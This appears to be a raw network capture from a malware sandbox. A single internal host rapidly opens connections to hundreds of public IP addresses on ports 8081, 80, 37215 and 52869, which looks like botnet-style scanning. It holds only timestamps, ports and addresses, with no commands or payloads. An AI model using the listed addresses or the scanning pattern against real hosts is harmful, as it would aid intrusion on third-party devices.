Jul 20, 2024 23:01:00.365725994 CEST	33197	8081	192.168.2.23	101.149.62.104
Jul 20, 2024 23:01:00.365725994 CEST	33197	8081	192.168.2.23	170.106.62.89
Jul 20, 2024 23:01:00.365725994 CEST	53454	80	192.168.2.23	88.57.38.176
Jul 20, 2024 23:01:00.365725994 CEST	33197	8081	192.168.2.23	76.206.110.127
Jul 20, 2024 23:01:00.365725994 CEST	33197	8081	192.168.2.23	86.67.174.58
Jul 20, 2024 23:01:00.365973949 CEST	8081	33197	206.129.188.176	192.168.2.23
Jul 20, 2024 23:01:00.366004944 CEST	8081	33197	154.32.76.169	192.168.2.23
Jul 20, 2024 23:01:00.366034031 CEST	8081	33197	125.31.142.239	192.168.2.23
Jul 20, 2024 23:01:00.366506100 CEST	8081	33197	117.140.125.168	192.168.2.23
Jul 20, 2024 23:01:00.366956949 CEST	8081	33197	160.66.251.241	192.168.2.23
Jul 20, 2024 23:01:00.367450953 CEST	8081	33197	138.6.224.236	192.168.2.23
Jul 20, 2024 23:01:00.367480040 CEST	8081	33197	223.21.29.247	192.168.2.23
Jul 20, 2024 23:01:00.367666006 CEST	8081	33197	140.165.231.124	192.168.2.23
Jul 20, 2024 23:01:00.368402004 CEST	8081	33197	23.238.202.206	192.168.2.23
Jul 20, 2024 23:01:00.368967056 CEST	8081	33197	162.219.218.58	192.168.2.23
Jul 20, 2024 23:01:00.369009972 CEST	8081	33197	151.17.38.6	192.168.2.23
Jul 20, 2024 23:01:00.369519949 CEST	8081	33197	35.89.205.31	192.168.2.23
Jul 20, 2024 23:01:00.369808912 CEST	8081	33197	129.125.205.183	192.168.2.23
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	108.145.123.201
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	59.200.90.235
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	8.15.22.126
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	88.169.130.149
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	146.44.153.254
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	172.86.255.155
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	157.158.93.133
Jul 20, 2024 23:01:00.370104074 CEST	33197	8081	192.168.2.23	44.141.109.26
Jul 20, 2024 23:01:00.370573044 CEST	8081	33197	207.47.221.120	192.168.2.23
Jul 20, 2024 23:01:00.370666981 CEST	8081	33197	120.95.228.222	192.168.2.23
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	154.101.239.48
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	218.206.10.113
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	211.254.252.130
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	109.234.21.90
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	202.58.169.139
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	93.246.64.124
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	67.98.168.31
Jul 20, 2024 23:01:00.370675087 CEST	33197	8081	192.168.2.23	173.78.183.92
Jul 20, 2024 23:01:00.370979071 CEST	8081	33197	54.255.8.252	192.168.2.23
Jul 20, 2024 23:01:00.371073008 CEST	8081	33197	143.84.131.204	192.168.2.23
Jul 20, 2024 23:01:00.371490002 CEST	8081	33197	79.42.120.220	192.168.2.23
Jul 20, 2024 23:01:00.371530056 CEST	8081	33197	50.230.63.5	192.168.2.23
Jul 20, 2024 23:01:00.371563911 CEST	8081	33197	89.55.35.48	192.168.2.23
Jul 20, 2024 23:01:00.371592999 CEST	8081	33197	116.18.91.223	192.168.2.23
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	51.1.107.198
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	101.31.189.187
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	107.70.92.235
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	178.85.5.202
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	82.167.50.35
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	192.66.97.91
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	82.203.239.138
Jul 20, 2024 23:01:00.371953964 CEST	33197	8081	192.168.2.23	2.239.139.48
Jul 20, 2024 23:01:00.372004032 CEST	8081	33197	39.217.222.25	192.168.2.23
Jul 20, 2024 23:01:00.372031927 CEST	8081	33197	101.149.62.104	192.168.2.23
Jul 20, 2024 23:01:00.372432947 CEST	8081	33197	188.121.69.133	192.168.2.23
Jul 20, 2024 23:01:00.372570992 CEST	8081	33197	170.106.62.89	192.168.2.23
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	53.2.154.226
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	156.92.55.215
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	179.154.66.211
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	35.237.73.32
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	133.160.20.194
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	20.20.108.22
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	89.145.70.225
Jul 20, 2024 23:01:00.372884035 CEST	33197	8081	192.168.2.23	177.129.9.214
Jul 20, 2024 23:01:00.373714924 CEST	33197	8081	192.168.2.23	213.35.139.137
Jul 20, 2024 23:01:00.374587059 CEST	8081	33197	94.157.214.169	192.168.2.23
Jul 20, 2024 23:01:00.375267029 CEST	8081	33197	116.33.175.147	192.168.2.23
Jul 20, 2024 23:01:00.375670910 CEST	8081	33197	91.152.2.200	192.168.2.23
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	102.130.5.195
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	149.61.130.48
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	121.83.162.216
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	117.140.125.168
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	223.21.29.247
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	162.219.218.58
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	129.125.205.183
Jul 20, 2024 23:01:00.376000881 CEST	33197	8081	192.168.2.23	120.95.228.222
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	104.219.249.208
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	74.93.101.194
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	60.45.93.56
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	204.147.164.30
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	131.128.63.203
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	146.221.215.107
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	38.138.73.54
Jul 20, 2024 23:01:00.376143932 CEST	33197	8081	192.168.2.23	72.15.203.15
Jul 20, 2024 23:01:00.376687050 CEST	8081	50644	51.195.238.25	192.168.2.23
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	12.110.206.207
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	125.249.82.17
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	72.6.243.235
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	122.99.111.93
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	130.31.184.89
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	182.202.155.166
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	24.145.67.111
Jul 20, 2024 23:01:00.377444029 CEST	33197	8081	192.168.2.23	206.129.188.176
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	74.212.107.63
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	41.7.128.77
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	207.12.24.117
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	87.253.218.207
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	119.166.183.49
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	125.31.142.239
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	140.165.231.124
Jul 20, 2024 23:01:00.378365993 CEST	33197	8081	192.168.2.23	23.238.202.206
Jul 20, 2024 23:01:00.379446983 CEST	8081	33197	79.250.158.225	192.168.2.23
Jul 20, 2024 23:01:00.381076097 CEST	8081	33197	83.131.49.119	192.168.2.23
Jul 20, 2024 23:01:00.381475925 CEST	8081	33197	104.219.249.208	192.168.2.23
Jul 20, 2024 23:01:00.382138968 CEST	33197	8081	192.168.2.23	119.200.94.123
Jul 20, 2024 23:01:00.382138968 CEST	33197	8081	192.168.2.23	112.7.206.86
Jul 20, 2024 23:01:00.382138968 CEST	33197	8081	192.168.2.23	218.221.165.203
Jul 20, 2024 23:01:00.382139921 CEST	33197	8081	192.168.2.23	207.161.90.36
Jul 20, 2024 23:01:00.382139921 CEST	33197	8081	192.168.2.23	39.95.62.11
Jul 20, 2024 23:01:00.382139921 CEST	33197	8081	192.168.2.23	175.165.36.111
Jul 20, 2024 23:01:00.382139921 CEST	33197	8081	192.168.2.23	136.73.235.6
Jul 20, 2024 23:01:00.382139921 CEST	33197	8081	192.168.2.23	160.66.251.241
Jul 20, 2024 23:01:00.382282019 CEST	8081	33197	74.93.101.194	192.168.2.23
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	79.171.145.245
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	220.25.249.254
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	111.113.107.103
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	63.247.44.39
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	95.171.15.233
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	126.187.151.86
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	122.99.174.35
Jul 20, 2024 23:01:00.383068085 CEST	33197	8081	192.168.2.23	154.32.76.169
Jul 20, 2024 23:01:00.383160114 CEST	8081	33197	60.45.93.56	192.168.2.23
Jul 20, 2024 23:01:00.384180069 CEST	33197	8081	192.168.2.23	143.84.131.204
Jul 20, 2024 23:01:00.384180069 CEST	33197	8081	192.168.2.23	116.18.91.223
Jul 20, 2024 23:01:00.384180069 CEST	33197	8081	192.168.2.23	101.149.62.104
Jul 20, 2024 23:01:00.384180069 CEST	33197	8081	192.168.2.23	170.106.62.89
Jul 20, 2024 23:01:00.384464025 CEST	8081	33197	204.147.164.30	192.168.2.23
Jul 20, 2024 23:01:00.386876106 CEST	33197	8081	192.168.2.23	151.17.38.6
Jul 20, 2024 23:01:00.386876106 CEST	33197	8081	192.168.2.23	54.255.8.252
Jul 20, 2024 23:01:00.386876106 CEST	33197	8081	192.168.2.23	79.42.120.220
Jul 20, 2024 23:01:00.386876106 CEST	33197	8081	192.168.2.23	188.121.69.133
Jul 20, 2024 23:01:00.387012959 CEST	38556	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:01:00.387012959 CEST	38556	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:01:00.387012959 CEST	33197	8081	192.168.2.23	132.229.205.39
Jul 20, 2024 23:01:00.387012959 CEST	33197	8081	192.168.2.23	122.185.9.34
Jul 20, 2024 23:01:00.387012959 CEST	33197	8081	192.168.2.23	186.118.50.183
Jul 20, 2024 23:01:00.387012959 CEST	33197	8081	192.168.2.23	36.69.181.131
Jul 20, 2024 23:01:00.387012959 CEST	33197	8081	192.168.2.23	185.230.250.55
Jul 20, 2024 23:01:00.387864113 CEST	33197	8081	192.168.2.23	207.47.221.120
Jul 20, 2024 23:01:00.387864113 CEST	33197	8081	192.168.2.23	89.55.35.48
Jul 20, 2024 23:01:00.387865067 CEST	33197	8081	192.168.2.23	94.157.214.169
Jul 20, 2024 23:01:00.387865067 CEST	33197	8081	192.168.2.23	91.152.2.200
Jul 20, 2024 23:01:00.387901068 CEST	8081	33197	131.128.63.203	192.168.2.23
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	121.200.135.75
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	118.42.18.218
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	60.143.183.191
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	201.224.236.109
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	32.7.190.231
Jul 20, 2024 23:01:00.389077902 CEST	33197	8081	192.168.2.23	58.24.72.155
Jul 20, 2024 23:01:00.389077902 CEST	38556	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:01:00.389733076 CEST	33197	8081	192.168.2.23	138.6.224.236
Jul 20, 2024 23:01:00.389733076 CEST	33197	8081	192.168.2.23	35.89.205.31
Jul 20, 2024 23:01:00.389733076 CEST	33197	8081	192.168.2.23	50.230.63.5
Jul 20, 2024 23:01:00.389733076 CEST	33197	8081	192.168.2.23	39.217.222.25
Jul 20, 2024 23:01:00.389733076 CEST	33197	8081	192.168.2.23	116.33.175.147
Jul 20, 2024 23:01:00.389734030 CEST	33197	8081	192.168.2.23	79.250.158.225
Jul 20, 2024 23:01:00.389734030 CEST	33197	8081	192.168.2.23	83.131.49.119
Jul 20, 2024 23:01:00.390399933 CEST	33197	8081	192.168.2.23	104.219.249.208
Jul 20, 2024 23:01:00.390399933 CEST	33197	8081	192.168.2.23	74.93.101.194
Jul 20, 2024 23:01:00.390399933 CEST	33197	8081	192.168.2.23	60.45.93.56
Jul 20, 2024 23:01:00.390399933 CEST	33197	8081	192.168.2.23	204.147.164.30
Jul 20, 2024 23:01:00.390399933 CEST	33197	8081	192.168.2.23	131.128.63.203
Jul 20, 2024 23:01:00.390521049 CEST	8081	33197	146.221.215.107	192.168.2.23
Jul 20, 2024 23:01:00.390875101 CEST	33197	8081	192.168.2.23	146.221.215.107
Jul 20, 2024 23:01:00.390994072 CEST	8081	33197	38.138.73.54	192.168.2.23
Jul 20, 2024 23:01:00.391112089 CEST	33197	8081	192.168.2.23	38.138.73.54
Jul 20, 2024 23:01:00.391818047 CEST	8081	33197	72.15.203.15	192.168.2.23
Jul 20, 2024 23:01:00.391885996 CEST	33197	8081	192.168.2.23	72.15.203.15
Jul 20, 2024 23:01:00.392133951 CEST	8081	38556	221.201.2.177	192.168.2.23
Jul 20, 2024 23:01:00.393218040 CEST	38880	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:01:00.393624067 CEST	50384	37215	192.168.2.23	41.203.224.247
Jul 20, 2024 23:01:00.394488096 CEST	8081	38556	221.201.2.177	192.168.2.23
Jul 20, 2024 23:01:00.395776033 CEST	49808	52869	192.168.2.23	107.208.110.238
Jul 20, 2024 23:01:00.397361040 CEST	50770	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:01:00.397361040 CEST	50770	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:01:00.398381948 CEST	8081	38880	221.201.2.177	192.168.2.23
Jul 20, 2024 23:01:00.398523092 CEST	38880	8081	192.168.2.23	221.201.2.177
Jul 20, 2024 23:01:00.398960114 CEST	37215	50384	41.203.224.247	192.168.2.23
Jul 20, 2024 23:01:00.399013042 CEST	50384	37215	192.168.2.23	41.203.224.247
Jul 20, 2024 23:01:00.400998116 CEST	52869	49808	107.208.110.238	192.168.2.23
Jul 20, 2024 23:01:00.401019096 CEST	54100	80	192.168.2.23	88.179.132.46
Jul 20, 2024 23:01:00.401170969 CEST	49808	52869	192.168.2.23	107.208.110.238
Jul 20, 2024 23:01:00.401416063 CEST	51094	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:01:00.401971102 CEST	51534	37215	192.168.2.23	157.187.188.100
Jul 20, 2024 23:01:00.404815912 CEST	43064	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:01:00.404815912 CEST	43064	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:01:00.406325102 CEST	43384	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:01:00.407095909 CEST	8081	50770	100.168.243.228	192.168.2.23
Jul 20, 2024 23:01:00.407140970 CEST	80	54100	88.179.132.46	192.168.2.23
Jul 20, 2024 23:01:00.407222986 CEST	54100	80	192.168.2.23	88.179.132.46
Jul 20, 2024 23:01:00.407440901 CEST	8081	51094	100.168.243.228	192.168.2.23
Jul 20, 2024 23:01:00.407457113 CEST	37215	51534	157.187.188.100	192.168.2.23
Jul 20, 2024 23:01:00.407485008 CEST	51534	37215	192.168.2.23	157.187.188.100
Jul 20, 2024 23:01:00.407601118 CEST	51094	8081	192.168.2.23	100.168.243.228
Jul 20, 2024 23:01:00.407701969 CEST	37678	52869	192.168.2.23	104.75.200.235
Jul 20, 2024 23:01:00.407726049 CEST	53540	37215	192.168.2.23	197.36.116.167
Jul 20, 2024 23:01:00.408324003 CEST	54398	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:01:00.408324003 CEST	54398	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:01:00.410427094 CEST	55608	80	192.168.2.23	88.197.195.111
Jul 20, 2024 23:01:00.410523891 CEST	54720	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:01:00.411248922 CEST	8081	43064	132.111.233.192	192.168.2.23
Jul 20, 2024 23:01:00.412009954 CEST	8081	43384	132.111.233.192	192.168.2.23
Jul 20, 2024 23:01:00.412050962 CEST	43384	8081	192.168.2.23	132.111.233.192
Jul 20, 2024 23:01:00.412509918 CEST	35120	37215	192.168.2.23	197.173.93.85
Jul 20, 2024 23:01:00.413341045 CEST	57126	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:01:00.413341045 CEST	57126	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:01:00.413605928 CEST	37215	53540	197.36.116.167	192.168.2.23
Jul 20, 2024 23:01:00.413650036 CEST	53540	37215	192.168.2.23	197.36.116.167
Jul 20, 2024 23:01:00.413697004 CEST	52869	37678	104.75.200.235	192.168.2.23
Jul 20, 2024 23:01:00.413710117 CEST	8081	54398	202.129.62.180	192.168.2.23
Jul 20, 2024 23:01:00.413846016 CEST	37678	52869	192.168.2.23	104.75.200.235
Jul 20, 2024 23:01:00.414731026 CEST	57444	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:01:00.416119099 CEST	37094	52869	192.168.2.23	185.31.200.232
Jul 20, 2024 23:01:00.417058945 CEST	40644	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:01:00.417058945 CEST	40644	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:01:00.417222977 CEST	80	55608	88.197.195.111	192.168.2.23
Jul 20, 2024 23:01:00.417262077 CEST	55608	80	192.168.2.23	88.197.195.111
Jul 20, 2024 23:01:00.417318106 CEST	8081	54720	202.129.62.180	192.168.2.23
Jul 20, 2024 23:01:00.417325020 CEST	39940	37215	192.168.2.23	197.175.112.209
Jul 20, 2024 23:01:00.417435884 CEST	54720	8081	192.168.2.23	202.129.62.180
Jul 20, 2024 23:01:00.417856932 CEST	37215	35120	197.173.93.85	192.168.2.23
Jul 20, 2024 23:01:00.417886972 CEST	35120	37215	192.168.2.23	197.173.93.85
Jul 20, 2024 23:01:00.418593884 CEST	8081	57126	221.218.195.172	192.168.2.23
Jul 20, 2024 23:01:00.419440985 CEST	57260	80	192.168.2.23	88.192.183.80
Jul 20, 2024 23:01:00.419567108 CEST	40964	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:01:00.419998884 CEST	8081	57444	221.218.195.172	192.168.2.23
Jul 20, 2024 23:01:00.420037031 CEST	57444	8081	192.168.2.23	221.218.195.172
Jul 20, 2024 23:01:00.421144962 CEST	52869	37094	185.31.200.232	192.168.2.23
Jul 20, 2024 23:01:00.421180964 CEST	37094	52869	192.168.2.23	185.31.200.232
Jul 20, 2024 23:01:00.421997070 CEST	43544	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:01:00.421997070 CEST	43544	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:01:00.422158003 CEST	8081	40644	212.120.55.123	192.168.2.23
Jul 20, 2024 23:01:00.422399998 CEST	37310	37215	192.168.2.23	157.115.23.92
Jul 20, 2024 23:01:00.422415018 CEST	37215	39940	197.175.112.209	192.168.2.23
Jul 20, 2024 23:01:00.422451019 CEST	39940	37215	192.168.2.23	197.175.112.209
Jul 20, 2024 23:01:00.423414946 CEST	43858	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:01:00.424458027 CEST	80	57260	88.192.183.80	192.168.2.23
Jul 20, 2024 23:01:00.424498081 CEST	57260	80	192.168.2.23	88.192.183.80
Jul 20, 2024 23:01:00.424757004 CEST	59006	52869	192.168.2.23	147.69.83.159
Jul 20, 2024 23:01:00.424767971 CEST	8081	40964	212.120.55.123	192.168.2.23
Jul 20, 2024 23:01:00.424812078 CEST	40964	8081	192.168.2.23	212.120.55.123
Jul 20, 2024 23:01:00.425695896 CEST	49520	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:01:00.425695896 CEST	49520	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:01:00.426975012 CEST	8081	43544	88.53.96.249	192.168.2.23
Jul 20, 2024 23:01:00.427311897 CEST	46836	37215	192.168.2.23	197.236.128.48
Jul 20, 2024 23:01:00.427392006 CEST	37215	37310	157.115.23.92	192.168.2.23
Jul 20, 2024 23:01:00.427511930 CEST	37310	37215	192.168.2.23	157.115.23.92
Jul 20, 2024 23:01:00.428044081 CEST	41586	80	192.168.2.23	88.197.34.97
Jul 20, 2024 23:01:00.428375959 CEST	49836	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:01:00.428520918 CEST	8081	43858	88.53.96.249	192.168.2.23
Jul 20, 2024 23:01:00.428656101 CEST	43858	8081	192.168.2.23	88.53.96.249
Jul 20, 2024 23:01:00.429907084 CEST	52869	59006	147.69.83.159	192.168.2.23
Jul 20, 2024 23:01:00.430052042 CEST	59006	52869	192.168.2.23	147.69.83.159
Jul 20, 2024 23:01:00.430166006 CEST	36084	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:01:00.430166006 CEST	36084	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:01:00.430784941 CEST	8081	49520	79.211.170.14	192.168.2.23
Jul 20, 2024 23:01:00.431065083 CEST	36394	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:01:00.431596994 CEST	56996	37215	192.168.2.23	41.39.168.222
Jul 20, 2024 23:01:00.431838036 CEST	8081	50644	51.195.238.25	192.168.2.23
Jul 20, 2024 23:01:00.431935072 CEST	50644	8081	192.168.2.23	51.195.238.25
Jul 20, 2024 23:01:00.432521105 CEST	54854	52869	192.168.2.23	164.236.243.93
Jul 20, 2024 23:01:00.432686090 CEST	37215	46836	197.236.128.48	192.168.2.23
Jul 20, 2024 23:01:00.432732105 CEST	46836	37215	192.168.2.23	197.236.128.48
Jul 20, 2024 23:01:00.433248997 CEST	40754	8081	192.168.2.23	48.252.220.101
Jul 20, 2024 23:01:00.433248997 CEST	40754	8081	192.168.2.23	48.252.220.101
Jul 20, 2024 23:01:00.433381081 CEST	80	41586	88.197.34.97	192.168.2.23
Jul 20, 2024 23:01:00.433427095 CEST	41586	80	192.168.2.23	88.197.34.97
Jul 20, 2024 23:01:00.433518887 CEST	8081	49836	79.211.170.14	192.168.2.23
Jul 20, 2024 23:01:00.433754921 CEST	49836	8081	192.168.2.23	79.211.170.14
Jul 20, 2024 23:01:00.435180902 CEST	51456	80	192.168.2.23	88.155.56.167
Jul 20, 2024 23:01:00.435267925 CEST	41064	8081	192.168.2.23	48.252.220.101
Jul 20, 2024 23:01:00.435359001 CEST	8081	36084	213.137.199.164	192.168.2.23
Jul 20, 2024 23:01:00.435849905 CEST	59862	37215	192.168.2.23	197.92.38.185
Jul 20, 2024 23:01:00.436178923 CEST	8081	36394	213.137.199.164	192.168.2.23
Jul 20, 2024 23:01:00.436213970 CEST	36394	8081	192.168.2.23	213.137.199.164
Jul 20, 2024 23:01:00.436682940 CEST	37215	56996	41.39.168.222	192.168.2.23
Jul 20, 2024 23:01:00.436744928 CEST	56996	37215	192.168.2.23	41.39.168.222
Jul 20, 2024 23:01:00.437361956 CEST	55116	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:01:00.437361956 CEST	55116	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:01:00.437787056 CEST	52869	54854	164.236.243.93	192.168.2.23
Jul 20, 2024 23:01:00.437927961 CEST	54854	52869	192.168.2.23	164.236.243.93
Jul 20, 2024 23:01:00.438242912 CEST	8081	40754	48.252.220.101	192.168.2.23
Jul 20, 2024 23:01:00.438472033 CEST	55422	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:01:00.439769983 CEST	56940	52869	192.168.2.23	170.225.184.185
Jul 20, 2024 23:01:00.439898968 CEST	60584	37215	192.168.2.23	41.215.110.81
Jul 20, 2024 23:01:00.440315008 CEST	80	51456	88.155.56.167	192.168.2.23
Jul 20, 2024 23:01:00.440356970 CEST	51456	80	192.168.2.23	88.155.56.167
Jul 20, 2024 23:01:00.440583944 CEST	33230	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:01:00.440583944 CEST	33230	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:01:00.440826893 CEST	8081	41064	48.252.220.101	192.168.2.23
Jul 20, 2024 23:01:00.440855980 CEST	41064	8081	192.168.2.23	48.252.220.101
Jul 20, 2024 23:01:00.441350937 CEST	37215	59862	197.92.38.185	192.168.2.23
Jul 20, 2024 23:01:00.441390038 CEST	59862	37215	192.168.2.23	197.92.38.185
Jul 20, 2024 23:01:00.442436934 CEST	8081	55116	114.223.71.65	192.168.2.23
Jul 20, 2024 23:01:00.442774057 CEST	42064	80	192.168.2.23	88.153.34.9
Jul 20, 2024 23:01:00.443139076 CEST	33538	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:01:00.444013119 CEST	8081	55422	114.223.71.65	192.168.2.23
Jul 20, 2024 23:01:00.444174051 CEST	55422	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:01:00.444174051 CEST	45164	37215	192.168.2.23	41.244.169.9
Jul 20, 2024 23:01:00.444988966 CEST	52869	56940	170.225.184.185	192.168.2.23
Jul 20, 2024 23:01:00.445027113 CEST	56940	52869	192.168.2.23	170.225.184.185
Jul 20, 2024 23:01:00.445298910 CEST	37215	60584	41.215.110.81	192.168.2.23
Jul 20, 2024 23:01:00.445341110 CEST	60584	37215	192.168.2.23	41.215.110.81
Jul 20, 2024 23:01:00.445363045 CEST	55174	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:01:00.445363045 CEST	55174	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:01:00.445647955 CEST	8081	33230	5.251.164.105	192.168.2.23
Jul 20, 2024 23:01:00.446657896 CEST	55478	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:01:00.448103905 CEST	80	42064	88.153.34.9	192.168.2.23
Jul 20, 2024 23:01:00.448122025 CEST	44240	52869	192.168.2.23	153.94.71.254
Jul 20, 2024 23:01:00.448230028 CEST	42064	80	192.168.2.23	88.153.34.9
Jul 20, 2024 23:01:00.448498011 CEST	8081	33538	5.251.164.105	192.168.2.23
Jul 20, 2024 23:01:00.448540926 CEST	33538	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:01:00.448681116 CEST	8081	50770	100.168.243.228	192.168.2.23
Jul 20, 2024 23:01:00.449078083 CEST	53084	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:01:00.449078083 CEST	53084	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:01:00.449301958 CEST	57736	37215	192.168.2.23	41.242.166.123
Jul 20, 2024 23:01:00.450365067 CEST	37215	45164	41.244.169.9	192.168.2.23
Jul 20, 2024 23:01:00.450417995 CEST	45164	37215	192.168.2.23	41.244.169.9
Jul 20, 2024 23:01:00.450460911 CEST	47068	80	192.168.2.23	88.147.238.16
Jul 20, 2024 23:01:00.450573921 CEST	53388	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:01:00.451494932 CEST	8081	55174	188.250.198.110	192.168.2.23
Jul 20, 2024 23:01:00.451905966 CEST	8081	55478	188.250.198.110	192.168.2.23
Jul 20, 2024 23:01:00.451942921 CEST	55478	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:01:00.452296019 CEST	60962	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:01:00.452296972 CEST	60962	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:01:00.452569962 CEST	54854	37215	192.168.2.23	157.21.145.183
Jul 20, 2024 23:01:00.452590942 CEST	8081	43064	132.111.233.192	192.168.2.23
Jul 20, 2024 23:01:00.453155994 CEST	52869	44240	153.94.71.254	192.168.2.23
